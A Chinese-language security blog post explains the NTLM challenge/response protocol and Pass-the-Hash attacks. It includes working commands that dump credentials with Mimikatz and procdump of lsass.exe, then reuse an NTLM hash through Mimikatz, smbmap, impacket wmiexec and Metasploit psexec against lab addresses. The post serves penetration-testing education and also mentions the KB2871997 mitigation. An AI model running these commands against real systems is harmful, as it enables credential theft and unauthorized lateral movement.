NTLM 认证协议到 Pass The Hash 攻击

king2020-08-25 23:10:25

继续来聊聊Windows网络认证。

NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。

0x01 NTLM协议

In a Windows network, NT (New Technology) LAN Manager (NTLM) is a suite of Microsoft security protocols intended to provide authentication, integrity, and confidentiality to users.NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN), an older Microsoft product. The NTLM protocol suite is implemented in a Security Support Provider, which combines the LAN Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in a single package. Whether these protocols are used or can be used on a system is governed by Group Policy settings, for which different versions of Windows have different default settings. NTLM passwords are considered weak because they can be brute-forced very easily with modern hardware.

这段话摘自:

https://en.wikipedia.org/wiki/NT_LAN_Manag...

大概说到NTLM协议是LM(LAN Manager)协议的后继产品,其协议套件中包含LMNTLM v1NTLM v2NTLM2 Session四种协议,具体该使用哪一种由组策略决定。不同版本的Windows版本具有不同的默认设置。其中也提到了NTLM协议是一种不安全的认证模式。

NTLM基于Challenge/Response (质询/响应)认证机制。整个认证流程分为三部分:协商质询身份验证

1. 协商

客户端向服务器发送协商消息,此消息允许客户端向服务器指定其支持的NTLM选项,其中就包括需要登陆的用户名,协议版本信息,签名等等。可详见官方文档NEGOTIATE_MESSAGE

2. 质询

这一个过程中服务器接收到了客户端的协商信息,服务器会产生一个Challenge,之后加密验证会依赖于Challenge

challenge: A piece of data used to authenticate a user. Typically a challenge takes the form of a nonce.

这是来自微软官方的解释,就是说Challenge是用于验证用户身份的一条数据。通常,Challenge采用随机数的形式。

| 1 | NTLM v1这里生成的是8位的Challenge,而NTLM v2是16位的Challenge。 |

服务器使用登录用户名对应的NTLM Hash加密Challenge, 得到一个Net NTLM Hash。同时将之前生成的随机数Challenge等信息发送给客户端。

客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response等信息发送至服务器端。

| 1 | NTLM v1这里的加密算法采用DES,NTLM v2采用HMAC-MD5。 |

3. 身份验证

服务器端接收到客户端发送的Response,将Response与自己计算得出的Net NTLM Hash进行比较,如果相等,则认证通过。

image-20200810170644516

0x02 Pass The Hash攻击

1. 原理

前面说到了Windows的网络认证,依靠NTLM协议,是一种点对点的认证交互模式,没有类似于Kerberos协议的信托机构。

并且在验证过程中也是没有使用到明文密码的,可以发现在客户端向服务端发起身份验证中主要的认证步骤在于向服务端发送Response,这意味着在某一种情况下,你在工作组或域环境中拿到了一台主机的权限,并读到了它的NTLM hashLM hash,这时想要破解出明文密码可能会有难度,所以你选择依靠这个hash,在工作组或域内登陆更多的主机,因为在内网,密码一致的情况非常常见。

所以你可以伪装成客户端向服务端发起NTLM协议的认证,通过服务端对客户端发送的Challenge再加上你得到的hash,生成一个Response,就可以完整实现整个认证流程。

这个攻击方式就称为哈希传递(Pass The Hash)。

2. 攻击利用

下面介绍几种利用方式

Mimikatz

privilege::debug
sekurlsa::logonpasswords

image-20200811124609222
利用当前的NTLM hash进行传递:

sekurlsa::pth/user:administrator/domain:zjun.com/ntlm:79c89e2e7418467a4e7b55f8307260ca 

image-20200811124916622

Smbmap

SMBMap是一个SMB枚举工具,功能很强大,可以命令执行,同时也支持哈希传递。

python3 smbmap.py -u administrator -p '00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca' -H 192.168.21.200 -r 'C$\Users'
# 前面的320表示的是LM hash,但是目标主机是win 2012默认不开启LM hash,所以这里随意填入32位长度的字符即可。

image-20200811132905239

Wmiexec

python源码:

https://github.com/SecureAuthCorp/impacket...

python3 wmiexec.py -hashes 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca ZJUN/administrator@192.168.21.200 "whoami"
# 前面的320表示的是LM hash,但是目标主机是win 2012默认不开启LM hash,所以这里随意填入32位长度的字符即可。 

image-20200811144528943

windows exe版本:

https://github.com/maaaaz/impacket-example...

image-20200811145519047

Metasploit psexec模块

直接hash喷射整个内网段不免缓慢,由于其依赖于445139等端口,所以可以先扫一下段内端口开放主机。

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.21.0/24
set threads 100
run

image-20200811152423379

再利用psexec模块进行哈希传递。

use exploit/windows/smb/psexec
set lhost 192.168.0.102
set rhosts 192.168.21.200
set smbuser administrator
set smbpass 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca
run

image-20200811153953954

此外还有如CrackMapExecsmbexec等工具。

对于这一缺陷,微软发布了KB2871997补丁,在打了该补丁后,对于SID500的账户,无论用户名,Pass The Hash无法成功。

wmic useraccount get name,sid 

image-20200813111830885

0x03 总结

本篇主要NTLM认证流程,以及PTH攻击原理和几种常用工具,但不全。
作者: zjun
文章链接: www.zjun.info/2020/ntlm-pth.html

本作品采用《CC 协议》,转载必须注明作者和本文链接
NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证协议。其中也提到了NTLM协议是一种不安全的认证模式。同时将之前生成的随机数Challenge等信息发送给客户端。客户端接受Challenge后,使用将要登录账户对应的NTLM Hash加密Challenge生成Response,然后将Response等信息发送至服务器端。
很多人把这个原因归结于KB2871997补丁,实际上不然,这个事情的成因实际是UAC在捣乱。RID为500的账户和属于本地administrators组的域用户在通过网络远程链接时,默认就是高权限令牌。
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取lsass.dmp
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取lsass.dmp
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
内网渗透TIPS总结
2023-01-28 11:00:41
内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类不同的组。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
本文是很久之前做的笔记,今天有空又梳理了一下,分享出来。如果有错误或疏漏,欢迎留言指出。 Kerberos是一种基于票据的、集中式的网络认证协议,适用于C/S模型,由MIT开发和实现(http://web.mit.edu/kerberos/dist/)。 这里所谓的认证,就是保证使用票据(Ticket)的用户必须是票据中指定的用户。 简单回忆一下,密码学涉及机密性、完整性、认证性(实体认证+
king
暂无描述